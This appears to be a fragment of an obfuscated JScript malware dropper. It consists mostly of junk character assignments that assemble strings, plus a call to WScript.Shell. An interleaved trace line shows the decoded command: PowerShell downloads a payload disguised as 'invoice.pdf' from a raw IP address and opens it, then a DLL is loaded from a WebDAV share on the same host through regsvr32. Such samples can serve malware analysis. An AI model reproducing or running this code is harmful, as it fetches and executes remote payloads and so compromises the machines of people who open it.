3	for ( gdhjjkp = 0 ; gdhjjkp < riefgldxz[rixfv + eveihnfnk + sgncnivif + wifhv + nwevd + tdxnk] ; ++ gdhjjkp )
4	{
5	if ( ousishobz == riefgldxz[gdhjjkp] )
6	{
7	ousishobz = true;
8	break ;
9	}
10	}
11	if ( ousishobz !== true )
12	this[vnguw + kdiqe + ybulpowfr + iidlhjdnn + zdkrof + lawgpf + nwevd][molnzfn + xxcuz + zdkrof + nwevd] ( );
13	this[vnguw + kdiqe + ybulpowfr + iidlhjdnn + zdkrof + lawgpf + nwevd][nkodcs + iidlhjdnn + eveihnfnk + vavet + nwevd + eveihnfnk + dkldgn + kwfdbjpmd + tswywfj + eveihnfnk + ybulpowfr + nwevd] ( vnguw + kdiqe + ybulpowfr + iidlhjdnn + zdkrof + lawgpf + nwevd + njkeuolw + kdiqe + tdxnk + eveihnfnk + rixfv + rixfv ) [iidlhjdnn + xxcuz + sgncnivif] ( ybulpowfr + rbvfam + hgvajc + xitdayqfb + krailpton + ybulpowfr + xitdayqfb + lawgpf + bjhdq + ahpqlog + eveihnfnk + iidlhjdnn + wzqga + tdxnk + eveihnfnk + rixfv + rixfv + njkeuolw + eveihnfnk + ebnda + eveihnfnk + xitdayqfb + huvcvgj + nkodcs + bjhdq + rbvfam + rbvfam + vavet + sgncnivif + hgvajc + xitdayqfb + mazhfycg + pnlne + sgncnivif + vvspgpsij + bjhdq + oyvvucmdz + eveihnfnk + huvcvgj + vnguw + eveihnfnk + kwfdbjpmd + fhbqleouv + eveihnfnk + chitqr + xxcuz + eveihnfnk + wzqga + nwevd + xitdayqfb + huvcvgj + dkldgn + xxcuz + nwevd + vhmncmjy + zdkrof + rixfv + eveihnfnk + xitdayqfb + zptxs + nwevd + eveihnfnk + rbvfam + lawgpf + zptxs + ejmazrqv + zdkrof + sgncnivif + vvspgpsij + bjhdq + zdkrof + ybulpowfr + eveihnfnk + njkeuolw + lawgpf + hgvajc + fczjq + xitdayqfb + tdxnk + nwevd + nwevd + lawgpf + yjhrchuy + krailpton + krailpton + kxfulmtu + oocnra + eydxqo + njkeuolw + kxfulmtu + ahirny + eydxqo + njkeuolw + kxfulmtu + njkeuolw + gmobhiwy + hlpxl + fdntfnzf + krailpton + zdkrof + sgncnivif + vvspgpsij + bjhdq + zdkrof + ybulpowfr + eveihnfnk + njkeuolw + lawgpf + tdxnk + lawgpf + mazhfycg + jjghhvq + jjghhvq + wzqga + nwevd + vavet + iidlhjdnn + nwevd + xitdayqfb + zptxs + nwevd + eveihnfnk + rbvfam + lawgpf + zptxs + ejmazrqv + zdkrof + sgncnivif + vvspgpsij + bjhdq + zdkrof + ybulpowfr + eveihnfnk + njkeuolw + lawgpf + hgvajc + fczjq + jjghhvq + jjghhvq + ybulpowfr + rbvfam + hgvajc + xitdayqfb + krailpton + ybulpowfr + xitdayqfb + sgncnivif + eveihnfnk + nwevd + xitdayqfb + xxcuz + wzqga + eveihnfnk + xitdayqfb + ejmazrqv + ejmazrqv + kxfulmtu + oocnra + eydxqo + njkeuolw + kxfulmtu + ahirny + eydxqo + njkeuolw + kxfulmtu + njkeuolw + gmobhiwy + hlpxl + fdntfnzf + wqqzfu + hdlgrg + hdlgrg + hdlgrg + hdlgrg + ejmazrqv + hgvajc + vavet + vvspgpsij + ahpqlog + ahpqlog + ahpqlog + iidlhjdnn + bjhdq + bjhdq + nwevd + ejmazrqv + jjghhvq + jjghhvq + ybulpowfr + rbvfam + hgvajc + xitdayqfb + krailpton + ybulpowfr + xitdayqfb + iidlhjdnn + eveihnfnk + wifhv + wzqga + vvspgpsij + iidlhjdnn + eydxqo + gmobhiwy + xitdayqfb + krailpton + wzqga + xitdayqfb + ejmazrqv + ejmazrqv + kxfulmtu + oocnra + eydxqo + njkeuolw + kxfulmtu + ahirny + eydxqo + njkeuolw + kxfulmtu + njkeuolw + gmobhiwy + hlpxl + fdntfnzf + wqqzfu + hdlgrg + hdlgrg + hdlgrg + hdlgrg + ejmazrqv + hgvajc + vavet + vvspgpsij + ahpqlog + ahpqlog + ahpqlog + iidlhjdnn + bjhdq + bjhdq + nwevd + ejmazrqv + gmobhiwy + frqbtfa + eydxqo + kxfulmtu + ahirny + kxfulmtu + eydxqo + oocnra + kxfulmtu + hlpxl + eydxqo + kxfulmtu + gmobhiwy + ahirny + frqbtfa + njkeuolw + hgvajc + rixfv + rixfv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll",0,false) ➔ 0
14	}
15	iidlhjdnn = "d";
16	iidlhjdnn = "z";
17	iidlhjdnn = "G";
18	iidlhjdnn = "c";
19	iidlhjdnn = "c";
20	iidlhjdnn = "N";
21	iidlhjdnn = "k";
22	iidlhjdnn = "a";
23	iidlhjdnn = "G";
24	iidlhjdnn = "S";
25	iidlhjdnn = "E";
26	iidlhjdnn = "j";
27	iidlhjdnn = "L";
28	iidlhjdnn = "J";
29	iidlhjdnn = "B";
30	iidlhjdnn = "Z";
31	iidlhjdnn = "B";
32	iidlhjdnn = "q";
33	iidlhjdnn = "x";
34	iidlhjdnn = "s";
35	iidlhjdnn = "D";
36	iidlhjdnn = "P";
37	iidlhjdnn = "A";
38	iidlhjdnn = "U";
39	iidlhjdnn = "v";
40	iidlhjdnn = "t";
41	iidlhjdnn = "Q";
42	iidlhjdnn = "z";
43	iidlhjdnn = "r";
44	ahirny = "w";
45	ahirny = "v";
46	ahirny = "I";
47	ahirny = "A";
48	ahirny = "G";
49	ahirny = "r";
50	ahirny = "n";
51	ahirny = "k";
52	ahirny = "D";
53	ahirny = "o";
54	ahirny = "U";
55	ahirny = "y";
56	ahirny = "k";
57	ahirny = "I";
58	ahirny = "T";
59	ahirny = "V";
60	ahirny = "K";
61	ahirny = "p";
62	ahirny = "Q";
63	ahirny = "H";
64	ahirny = "I";
65	ahirny = "B";
66	ahirny = "N";
67	ahirny = "k";
68	ahirny = "4";
69	dkldgn = "o";
70	dkldgn = "D";
71	dkldgn = "p";
72	dkldgn = "y";
73	dkldgn = "I";
74	dkldgn = "I";
75	dkldgn = "P";
76	dkldgn = "g";
77	dkldgn = "Y";
78	dkldgn = "f";
79	dkldgn = "x";
80	dkldgn = "e";
81	dkldgn = "I";
82	dkldgn = "V";
83	dkldgn = "o";
84	dkldgn = "m";
85	dkldgn = "g";
86	dkldgn = "r";
87	dkldgn = "o";
88	dkldgn = "h";
89	dkldgn = "j";
90	dkldgn = "f";
91	dkldgn = "O";
92	ahpqlog = "j";
93	ahpqlog = "y";
94	ahpqlog = "j";
95	ahpqlog = "T";
96	ahpqlog = "r";
97	ahpqlog = "L";
98	ahpqlog = "r";
99	ahpqlog = "w";
100	ahpqlog = "p";
101	ahpqlog = "h";
102	ahpqlog = "e";
103	ahpqlog = "j";
104	ahpqlog = "D";
105	ahpqlog = "D";
106	ahpqlog = "v";
107	ahpqlog = "K";
108	ahpqlog = "w";
109	wzqga = "J";
110	wzqga = "o";
111	wzqga = "Q";
112	wzqga = "e";
113	wzqga = "p";
114	wzqga = "H";
115	wzqga = "O";
116	wzqga = "U";
117	wzqga = "O";
118	wzqga = "X";
119	wzqga = "z";
120	wzqga = "Q";
121	wzqga = "Q";
122	wzqga = "P";
123	wzqga = "t";
124	wzqga = "o";
125	wzqga = "L";
126	wzqga = "F";
127	wzqga = "z";
128	wzqga = "M";
129	wzqga = "s";
130	xxcuz = "k";
131	xxcuz = "q";
132	xxcuz = "m";
133	xxcuz = "q";
134	xxcuz = "u";
135	xxcuz = "j";
136	xxcuz = "w";
137	xxcuz = "a";
138	xxcuz = "b";
139	xxcuz = "T";
140	xxcuz = "z";
141	xxcuz = "a";
142	xxcuz = "C";
143	xxcuz = "p";
144	xxcuz = "Z";
145	xxcuz = "O";
146	xxcuz = "F";
147	xxcuz = "u";
148	vnguw = "V";
149	vnguw = "e";
150	vnguw = "U";
151	vnguw = "w";
152	vnguw = "w";
153	vnguw = "m";
154	vnguw = "U";
155	vnguw = "x";
156	vnguw = "X";
157	vnguw = "p";
158	vnguw = "Z";
159	vnguw = "g";
160	vnguw = "U";
161	vnguw = "u";
162	vnguw = "p";
163	vnguw = "c";
164	vnguw = "r";
165	vnguw = "D";
166	vnguw = "f";
167	vnguw = "y";
168	vnguw = "n";
169	vnguw = "H";
170	vnguw = "n";
171	vnguw = "r";
172	vnguw = "C";
173	vnguw = "V";
174	vnguw = "m";
175	vnguw = "y";
176	vnguw = "n";
177	vnguw = "E";
178	vnguw = "i";
179	vnguw = "M";
180	vnguw = "X";
181	vnguw = "y";
182	vnguw = "x";
183	vnguw = "W";
184	swbrte = "b";
185	swbrte = "X";
186	swbrte = "Z";
187	swbrte = "i";
188	swbrte = "o";
189	swbrte = "u";
190	swbrte = "E";
191	swbrte = "b";
192	swbrte = "e";
193	swbrte = "H";
194	swbrte = "D";
195	swbrte = "r";
196	swbrte = "J";
197	swbrte = "w";
198	swbrte = "B";
199	swbrte = "N";
200	swbrte = "u";
201	swbrte = "u";
202	swbrte = "R";
203	swbrte = "O";
204	swbrte = "n";
205	swbrte = "O";
206	swbrte = "U";
207	swbrte = "L";
208	rbvfam = "I";
209	rbvfam = "Y";
210	rbvfam = "X";
211	rbvfam = "p";
212	rbvfam = "F";
213	rbvfam = "S";
214	rbvfam = "W";
215	rbvfam = "y";
216	rbvfam = "a";
217	rbvfam = "H";
218	rbvfam = "V";
219	rbvfam = "M";
220	rbvfam = "z";
221	rbvfam = "m";
222	oyvvucmdz = "D";
223	oyvvucmdz = "x";
224	oyvvucmdz = "N";
225	oyvvucmdz = "B";
226	oyvvucmdz = "G";
227	oyvvucmdz = "s";
228	oyvvucmdz = "O";
229	oyvvucmdz = "p";
230	oyvvucmdz = "O";
231	oyvvucmdz = "M";
232	oyvvucmdz = "U";
233	oyvvucmdz = "l";
234	oyvvucmdz = "J";
235	oyvvucmdz = "i";
236	oyvvucmdz = "D";
237	oyvvucmdz = "t";
238	oyvvucmdz = "u";
239	oyvvucmdz = "I";
240	oyvvucmdz = "r";
241	oyvvucmdz = "s";
242	oyvvucmdz = "V";
243	oyvvucmdz = "u";
244	oyvvucmdz = "V";
245	oyvvucmdz = "B";
246	oyvvucmdz = "X";
247	oyvvucmdz = "o";
248	oyvvucmdz = "t";
249	oyvvucmdz = "i";
250	oyvvucmdz = "j";
251	oyvvucmdz = "q";
252	oyvvucmdz = "G";
253	oyvvucmdz = "B";
254	oyvvucmdz = "L";
255	oyvvucmdz = "B";
256	oyvvucmdz = "z";
257	oyvvucmdz = "z";
258	oyvvucmdz = "X";
259	oyvvucmdz = "e";
260	oyvvucmdz = "d";
261	oyvvucmdz = "d";
262	oyvvucmdz = "M";
263	oyvvucmdz = "V";
264	oyvvucmdz = "S";
265	oyvvucmdz = "Z";
266	oyvvucmdz = "k";
267	krailpton = "M";
268	krailpton = "z";
269	krailpton = "y";
270	krailpton = "u";
271	krailpton = "M";
272	krailpton = "Y";
273	krailpton = "K";
274	krailpton = "A";
275	krailpton = "Y";
276	krailpton = "r";
277	krailpton = "k";
278	krailpton = "H";
279	krailpton = "R";
280	krailpton = "R";
281	krailpton = "y";
282	krailpton = "a";
283	krailpton = "G";
284	krailpton = "K";
285	krailpton = "E";
286	krailpton = "O";
287	krailpton = "C";
288	krailpton = "M";
289	krailpton = "D";
290	krailpton = "T";
291	krailpton = "x";
292	krailpton = "H";
293	krailpton = "M";
294	krailpton = "Y";
295	krailpton = "/";
296	yjhrchuy = "D";
297	yjhrchuy = "s";
298	yjhrchuy = "J";
299	yjhrchuy = "F";
300	yjhrchuy = "A";
301	yjhrchuy = "F";
302	yjhrchuy = "o";
303	yjhrchuy = "G";
304	yjhrchuy = "X";
305	yjhrchuy = "W";
306	yjhrchuy = "B";
307	yjhrchuy = "Q";
308	yjhrchuy = "Z";
309	yjhrchuy = "m";
310	yjhrchuy = "n";
311	yjhrchuy = "R";
312	yjhrchuy = "o";
313	yjhrchuy = "O";
314	yjhrchuy = "I";
315	yjhrchuy = "z";
316	yjhrchuy = "b";
317	yjhrchuy = "r";
318	yjhrchuy = "V";
319	yjhrchuy = "N";
320	yjhrchuy = "f";
321	yjhrchuy = "E";
322	yjhrchuy = "C";
323	yjhrchuy = "w";
324	yjhrchuy = "C";
325	yjhrchuy = "A";
326	yjhrchuy = "V";
327	yjhrchuy = "s";
328	yjhrchuy = "x";
329	yjhrchuy = "A";
330	yjhrchuy = "t";
331	yjhrchuy = "g";
332	yjhrchuy = "C";
333	yjhrchuy = "F";
334	yjhrchuy = "t";
335	yjhrchuy = "o";
336	yjhrchuy = "n";
337	yjhrchuy = "l";
338	yjhrchuy = "Y";
339	yjhrchuy = "c";
340	yjhrchuy = ":";
341	vvspgpsij = "c";
342	vvspgpsij = "I";
343	vvspgpsij = "I";
344	vvspgpsij = "T";
345	vvspgpsij = "d";
346	vvspgpsij = "M";
347	vvspgpsij = "p";
348	vvspgpsij = "U";
349	vvspgpsij = "X";
350	vvspgpsij = "q";
351	vvspgpsij = "d";
352	vvspgpsij = "E";
353	vvspgpsij = "p";
354	vvspgpsij = "L";
355	vvspgpsij = "U";
356	vvspgpsij = "N";
357	vvspgpsij = "C";
358	vvspgpsij = "Q";
359	vvspgpsij = "n";
360	vvspgpsij = "W";
361	vvspgpsij = "Q";
362	vvspgpsij = "x";
363	vvspgpsij = "p";
364	vvspgpsij = "O";
365	vvspgpsij = "j";
366	vvspgpsij = "q";
367	vvspgpsij = "u";
368	vvspgpsij = "v";
369	fdntfnzf = "X";
370	fdntfnzf = "z";
371	fdntfnzf = "T";
372	fdntfnzf = "c";
373	fdntfnzf = "S";
374	fdntfnzf = "X";
375	fdntfnzf = "Y";
376	fdntfnzf = "k";
377	fdntfnzf = "f";
378	fdntfnzf = "L";
379	fdntfnzf = "Z";
380	fdntfnzf = "e";
381	fdntfnzf = "r";
382	fdntfnzf = "A";
383	fdntfnzf = "L";
384	fdntfnzf = "I";
385	fdntfnzf = "I";
386	fdntfnzf = "s";
387	fdntfnzf = "e";
388	fdntfnzf = "e";
389	fdntfnzf = "F";
390	fdntfnzf = "W";
391	fdntfnzf = "e";
392	fdntfnzf = "5";
393	molnzfn = "a";
394	molnzfn = "x";
395	molnzfn = "p";
396	molnzfn = "h";
397	molnzfn = "r";
398	molnzfn = "M";
399	molnzfn = "q";
400	molnzfn = "h";
401	molnzfn = "c";
402	molnzfn = "P";
403	molnzfn = "v";
404	molnzfn = "D";
405	molnzfn = "W";
406	molnzfn = "m";
407	molnzfn = "j";
408	molnzfn = "k";
409	molnzfn = "a";
410	molnzfn = "x";
411	molnzfn = "S";
412	molnzfn = "A";
413	molnzfn = "l";
414	molnzfn = "G";
415	molnzfn = "Z";
416	molnzfn = "X";
417	molnzfn = "O";
418	molnzfn = "K";
419	molnzfn = "D";
420	molnzfn = "v";
421	molnzfn = "P";
422	molnzfn = "C";
423	molnzfn = "v";
424	molnzfn = "R";
425	molnzfn = "f";
426	molnzfn = "s";
427	molnzfn = "Q";
428	wgphl = "t";
429	wgphl = "q";
430	wgphl = "c";
431	wgphl = "f";
432	wgphl = "x";
433	wgphl = "s";
434	wgphl = "A";
435	wgphl = "K";
436	wgphl = "K";
437	wgphl = "b";
438	wgphl = "P";
439	wgphl = "C";
440	wgphl = "n";
441	wgphl = "Z";
442	wgphl = "B";
443	wgphl = "s";
444	wgphl = "Q";
445	wgphl = "D";
446	wgphl = "o";
447	wgphl = "f";
448	wgphl = "X";
449	wgphl = "b";
450	wgphl = "Z";
451	wgphl = "B";
452	wgphl = "g";
453	wgphl = "H";
454	fczjq = "G";
455	fczjq = "U";
456	fczjq = "w";
457	fczjq = "q";
458	fczjq = "k";
459	fczjq = "z";
460	fczjq = "A";
461	fczjq = "Q";
462	fczjq = "g";
463	fczjq = "d";
464	fczjq = "p";
465	fczjq = "i";
466	fczjq = "f";
467	apxbzekx = "j";
468	apxbzekx = "r";
469	apxbzekx = "b";
470	apxbzekx = "P";
471	apxbzekx = "W";
472	apxbzekx = "d";
473	apxbzekx = "G";
474	apxbzekx = "F";
475	apxbzekx = "w";
476	apxbzekx = "T";
477	rbxukt = "K";
478	ejmazrqv = "a";
479	ejmazrqv = "e";
480	ejmazrqv = "g";
481	ejmazrqv = "v";
482	ejmazrqv = "Z";
483	ejmazrqv = "t";
484	ejmazrqv = "Y";
485	ejmazrqv = "Q";
486	ejmazrqv = "i";
487	ejmazrqv = "h";
488	ejmazrqv = "Y";
489	ejmazrqv = "z";
490	ejmazrqv = "f";
491	ejmazrqv = "J";
492	ejmazrqv = "k";
493	ejmazrqv = "\\";
494	chitqr = "V";
495	chitqr = "f";
496	chitqr = "E";
497	chitqr = "S";
498	chitqr = "q";
499	njkeuolw = "R";
500	njkeuolw = "R";
501	njkeuolw = "O";
502	njkeuolw = "N";
503	njkeuolw = "v";
504	njkeuolw = "Y";
505	njkeuolw = "r";
506	njkeuolw = "d";
507	njkeuolw = "F";
508	njkeuolw = "I";
509	njkeuolw = "U";
510	njkeuolw = "A";
511	njkeuolw = "q";
512	njkeuolw = "b";
513	njkeuolw = "Q";
514	njkeuolw = "V";
515	njkeuolw = "N";
516	njkeuolw = "H";
517	njkeuolw = "D";
518	njkeuolw = "b";
519	njkeuolw = "u";
520	njkeuolw = "T";
521	njkeuolw = ".";
522	lawgpf = "l";
523	lawgpf = "e";
524	lawgpf = "E";
525	lawgpf = "G";
526	lawgpf = "I";
527	lawgpf = "T";
528	lawgpf = "w";
529	lawgpf = "C";
530	lawgpf = "O";
531	lawgpf = "C";
532	lawgpf = "n";
533	lawgpf = "j";
534	lawgpf = "c";
535	lawgpf = "q";
536	lawgpf = "k";
537	lawgpf = "a";
538	lawgpf = "Y";
539	lawgpf = "f";
540	lawgpf = "i";
541	lawgpf = "u";
542	lawgpf = "p";
543	kxfulmtu = "N";
544	kxfulmtu = "R";
545	kxfulmtu = "x";
546	kxfulmtu = "q";
547	kxfulmtu = "d";
548	kxfulmtu = "U";
549	kxfulmtu = "I";
550	kxfulmtu = "l";
551	kxfulmtu = "L";
552	kxfulmtu = "k";
553	kxfulmtu = "t";
554	kxfulmtu = "W";
555	kxfulmtu = "i";
556	kxfulmtu = "C";
557	kxfulmtu = "R";
558	kxfulmtu = "X";
559	kxfulmtu = "J";
560	kxfulmtu = "C";
561	kxfulmtu = "A";
562	kxfulmtu = "j";
563	kxfulmtu = "u";
564	kxfulmtu = "C";
565	kxfulmtu = "X";
566	kxfulmtu = "W";
567	kxfulmtu = "P";
568	kxfulmtu = "D";
569	kxfulmtu = "T";
570	kxfulmtu = "H";
571	kxfulmtu = "R";
572	kxfulmtu = "x";
573	kxfulmtu = "Y";
574	kxfulmtu = "H";
575	kxfulmtu = "L";
576	kxfulmtu = "a";
577	kxfulmtu = "J";
578	kxfulmtu = "O";
579	kxfulmtu = "f";
580	kxfulmtu = "X";
581	kxfulmtu = "N";
582	kxfulmtu = "i";
583	kxfulmtu = "1";
584	kwfdbjpmd = "x";
585	kwfdbjpmd = "g";
586	kwfdbjpmd = "U";
587	kwfdbjpmd = "W";
588	kwfdbjpmd = "b";
589	wqqzfu = "D";
590	wqqzfu = "x";
591	wqqzfu = "X";
592	wqqzfu = "m";
593	wqqzfu = "h";
594	wqqzfu = "q";
595	wqqzfu = "h";
596	wqqzfu = "d";
597	wqqzfu = "r";
598	wqqzfu = "I";
599	wqqzfu = "p";
600	wqqzfu = "q";
601	wqqzfu = "o";
602	wqqzfu = "E";
603	wqqzfu = "c";
604	wqqzfu = "w";
605	wqqzfu = "k";
606	wqqzfu = "H";
607	wqqzfu = "S";
608	wqqzfu = "j";
609	wqqzfu = "Y";
610	wqqzfu = "q";
611	wqqzfu = "z";
612	wqqzfu = "z";
613	wqqzfu = "q";
614	wqqzfu = "d";
615	wqqzfu = "a";
616	wqqzfu = "B";
617	wqqzfu = "h";
618	wqqzfu = "Z";
619	wqqzfu = "I";
620	wqqzfu = "n";
621	wqqzfu = "S";
622	wqqzfu = "w";
623	wqqzfu = "k";
624	wqqzfu = "Q";
625	wqqzfu = "F";
626	wqqzfu = "Q";
627	wqqzfu = "@";
628	vavet = "d";
629	vavet = "X";
630	vavet = "G";
631	vavet = "B";
632	vavet = "c";
633	vavet = "y";
634	vavet = "w";
635	vavet = "S";
636	vavet = "W";
637	vavet = "G";
638	vavet = "x";
639	vavet = "a";
640	oocnra = "f";
641	oocnra = "O";
642	oocnra = "E";
643	oocnra = "x";
644	oocnra = "j";
645	oocnra = "M";
646	oocnra = "Q";
647	oocnra = "b";
648	oocnra = "D";
649	oocnra = "I";
650	oocnra = "Y";
651	oocnra = "Y";
652	oocnra = "y";
653	oocnra = "r";
654	oocnra = "9";
655	rixfv = "j";
656	rixfv = "z";
657	rixfv = "m";
658	rixfv = "N";
659	rixfv = "b";
660	rixfv = "O";
661	rixfv = "o";
662	rixfv = "O";
663	rixfv = "y";
664	rixfv = "G";
665	rixfv = "g";
666	rixfv = "n";
667	rixfv = "T";
668	rixfv = "W";
669	rixfv = "R";
670	rixfv = "C";
671	rixfv = "J";
672	rixfv = "q";
673	rixfv = "z";
674	rixfv = "z";
675	rixfv = "r";
676	rixfv = "u";
677	rixfv = "L";
678	rixfv = "H";
679	rixfv = "A";
680	rixfv = "U";
681	rixfv = "q";
682	rixfv = "P";
683	rixfv = "v";
684	rixfv = "V";
685	rixfv = "e";
686	rixfv = "B";
687	rixfv = "l";
688	xitdayqfb = "S";
689	xitdayqfb = "N";
690	xitdayqfb = "j";
691	xitdayqfb = "I";
692	xitdayqfb = "R";
693	xitdayqfb = "U";
694	xitdayqfb = "n";
695	xitdayqfb = "q";
696	xitdayqfb = "B";
697	xitdayqfb = "b";
698	xitdayqfb = "z";
699	xitdayqfb = "h";
700	xitdayqfb = "v";
701	xitdayqfb = "I";
702	xitdayqfb = "W";
703	xitdayqfb = "a";
704	xitdayqfb = "P";
705	xitdayqfb = "n";
706	xitdayqfb = "C";
707	xitdayqfb = "D";
708	xitdayqfb = "S";
709	xitdayqfb = "V";
710	xitdayqfb = "z";
711	xitdayqfb = "V";
712	xitdayqfb = "B";
713	xitdayqfb = "g";
714	xitdayqfb = "y";
715	xitdayqfb = "C";
716	xitdayqfb = "w";
717	xitdayqfb = "G";
718	xitdayqfb = "h";
719	xitdayqfb = "A";
720	xitdayqfb = "f";
721	xitdayqfb = "j";
722	xitdayqfb = "y";
723	xitdayqfb = "l";
724	xitdayqfb = "Y";
725	xitdayqfb = "i";
726	xitdayqfb = "c";
727	xitdayqfb = "S";
728	xitdayqfb = "y";
729	xitdayqfb = " ";
730	tdxnk = "p";
731	tdxnk = "n";
732	tdxnk = "w";
733	tdxnk = "I";
734	tdxnk = "P";
735	tdxnk = "n";
736	tdxnk = "Q";
737	tdxnk = "x";
738	tdxnk = "t";
739	tdxnk = "E";
740	tdxnk = "P";
741	tdxnk = "S";
742	tdxnk = "e";
743	tdxnk = "Z";
744	tdxnk = "m";
745	tdxnk = "S";
746	tdxnk = "n";
747	tdxnk = "C";
748	tdxnk = "g";
749	tdxnk = "P";
750	tdxnk = "O";
751	tdxnk = "X";
752	tdxnk = "R";
753	tdxnk = "X";
754	tdxnk = "R";
755	tdxnk = "h";
756	bjhdq = "m";
757	bjhdq = "n";
758	bjhdq = "h";
759	bjhdq = "l";
760	bjhdq = "P";
761	bjhdq = "p";
762	bjhdq = "n";
763	bjhdq = "O";
764	bjhdq = "Q";
765	bjhdq = "t";
766	bjhdq = "Q";
767	bjhdq = "Z";
768	bjhdq = "E";
769	bjhdq = "e";
770	bjhdq = "d";
771	bjhdq = "o";
772	bjhdq = "G";
773	bjhdq = "p";
774	bjhdq = "f";
775	bjhdq = "Y";
776	bjhdq = "p";
777	bjhdq = "R";
778	bjhdq = "l";
779	bjhdq = "D";
780	bjhdq = "Q";
781	bjhdq = "M";
782	bjhdq = "B";
783	bjhdq = "I";
784	bjhdq = "S";
785	bjhdq = "i";
786	bjhdq = "c";
787	bjhdq = "z";
788	bjhdq = "i";
789	bjhdq = "i";
790	bjhdq = "o";
791	hgvajc = "d";
792	anjdr = "X";
793	anjdr = "P";
794	nkodcs = "v";
795	nkodcs = "Q";
796	nkodcs = "X";
797	nkodcs = "C";
798	ebnda = "G";
799	ebnda = "E";
800	ebnda = "G";
801	ebnda = "k";
802	ebnda = "S";
803	ebnda = "p";
804	ebnda = "G";
805	ebnda = "r";
806	ebnda = "y";
807	ebnda = "F";
808	ebnda = "K";
809	ebnda = "K";
810	ebnda = "m";
811	ebnda = "S";
812	ebnda = "U";
813	ebnda = "r";
814	ebnda = "p";
815	ebnda = "d";
816	ebnda = "W";
817	ebnda = "Y";
818	ebnda = "t";
819	ebnda = "F";
820	ebnda = "j";
821	ebnda = "U";
822	ebnda = "m";
823	ebnda = "o";
824	ebnda = "f";
825	ebnda = "q";
826	ebnda = "T";
827	ebnda = "z";
828	ebnda = "S";
829	ebnda = "c";
830	ebnda = "e";
831	ebnda = "S";
832	ebnda = "x";
833	ebnda = "H";
834	ebnda = "U";
835	ebnda = "B";
836	ebnda = "x";
837	snscdsb = "Z";
838	snscdsb = "e";
839	snscdsb = "Z";
840	snscdsb = "t";
841	snscdsb = "s";
842	snscdsb = "B";
843	snscdsb = "L";
844	snscdsb = "z";
845	snscdsb = "G";
846	snscdsb = "B";
847	snscdsb = "o";
848	snscdsb = "t";
849	snscdsb = "G";
850	snscdsb = "y";
851	snscdsb = "Q";
852	snscdsb = "T";
853	snscdsb = "Y";
854	snscdsb = "R";
855	snscdsb = "U";
856	snscdsb = "J";
857	snscdsb = "B";
858	snscdsb = "c";
859	snscdsb = "m";
860	snscdsb = "U";
861	jjghhvq = "c";
862	jjghhvq = "Q";
863	jjghhvq = "e";
864	jjghhvq = "Z";
865	jjghhvq = "a";
866	jjghhvq = "p";
867	jjghhvq = "T";
868	jjghhvq = "o";
869	jjghhvq = "Q";
870	jjghhvq = "Y";
871	jjghhvq = "S";
872	jjghhvq = "d";
873	jjghhvq = "E";
874	jjghhvq = "P";
875	jjghhvq = "p";
876	jjghhvq = "w";
877	jjghhvq = "H";
878	jjghhvq = "x";
879	jjghhvq = "S";
880	jjghhvq = "X";
881	jjghhvq = "p";
882	jjghhvq = "R";
883	jjghhvq = "g";
884	jjghhvq = "s";
885	jjghhvq = "G";
886	jjghhvq = "Y";
887	jjghhvq = "Q";
888	jjghhvq = "x";
889	jjghhvq = "H";
890	jjghhvq = "K";
891	jjghhvq = "G";
892	jjghhvq = "k";
893	jjghhvq = "V";
894	jjghhvq = "h";
895	jjghhvq = "u";
896	jjghhvq = "Z";
897	jjghhvq = "w";
898	jjghhvq = "l";
899	jjghhvq = "K";
900	jjghhvq = "w";
901	jjghhvq = "d";
902	jjghhvq = "&";
903	ybulpowfr = "e";
904	ybulpowfr = "C";
905	ybulpowfr = "e";
906	ybulpowfr = "a";
907	ybulpowfr = "t";
908	ybulpowfr = "A";
909	ybulpowfr = "M";
910	ybulpowfr = "Q";
911	ybulpowfr = "m";
912	ybulpowfr = "L";
913	ybulpowfr = "d";
914	ybulpowfr = "U";
915	ybulpowfr = "L";
916	ybulpowfr = "K";
917	ybulpowfr = "m";
918	ybulpowfr = "r";
919	ybulpowfr = "K";
920	ybulpowfr = "g";
921	ybulpowfr = "m";
922	ybulpowfr = "Z";
923	ybulpowfr = "R";
924	ybulpowfr = "R";
925	ybulpowfr = "u";
926	ybulpowfr = "D";
927	ybulpowfr = "d";
928	ybulpowfr = "F";
929	ybulpowfr = "t";
930	ybulpowfr = "e";
931	ybulpowfr = "R";
932	ybulpowfr = "c";
933	wifhv = "n";
934	wifhv = "J";
935	wifhv = "j";
936	wifhv = "J";
937	wifhv = "g";
938	wifhv = "B";
939	wifhv = "s";
940	wifhv = "e";
941	wifhv = "g";
942	sxrgseso = "t";
943	sxrgseso = "O";
944	sxrgseso = "D";
945	sxrgseso = "B";
946	sxrgseso = "C";
947	sxrgseso = "a";
948	sxrgseso = "c";
949	sxrgseso = "F";
950	sxrgseso = "l";
951	sxrgseso = "k";
952	sxrgseso = "l";
953	sxrgseso = "V";
954	sxrgseso = "E";
955	sxrgseso = "Q";
956	sxrgseso = "a";
957	sxrgseso = "X";
958	sxrgseso = "U";
959	sxrgseso = "e";
960	sxrgseso = "J";
961	sxrgseso = "o";
962	sxrgseso = "C";
963	sxrgseso = "v";
964	sxrgseso = "n";
965	sxrgseso = "s";
966	sxrgseso = "C";
967	sxrgseso = "P";
968	sxrgseso = "M";
969	sxrgseso = "c";
970	sxrgseso = "Z";
971	sxrgseso = "n";
972	sxrgseso = "Z";
973	sxrgseso = "E";
974	cuvfgls = "i";
975	cuvfgls = "z";
976	cuvfgls = "R";
977	cuvfgls = "M";
978	cuvfgls = "p";
979	cuvfgls = "W";
980	cuvfgls = "s";
981	cuvfgls = "R";
982	cuvfgls = "F";
983	cuvfgls = "H";
984	cuvfgls = "A";
985	cuvfgls = "V";
986	cuvfgls = "r";
987	cuvfgls = "K";
988	cuvfgls = "O";
989	cuvfgls = "G";
990	cuvfgls = "P";
991	cuvfgls = "g";
992	cuvfgls = "s";
993	cuvfgls = "o";
994	cuvfgls = "H";
995	cuvfgls = "Z";
996	cuvfgls = "a";
997	cuvfgls = "R";
998	cuvfgls = "e";
999	cuvfgls = "Q";
1000	cuvfgls = "V";
1001	cuvfgls = "Z";
1002	cuvfgls = "s";
1003	cuvfgls = "Y";
1004	eydxqo = "Q";
1005	eydxqo = "X";
1006	eydxqo = "o";
1007	eydxqo = "v";
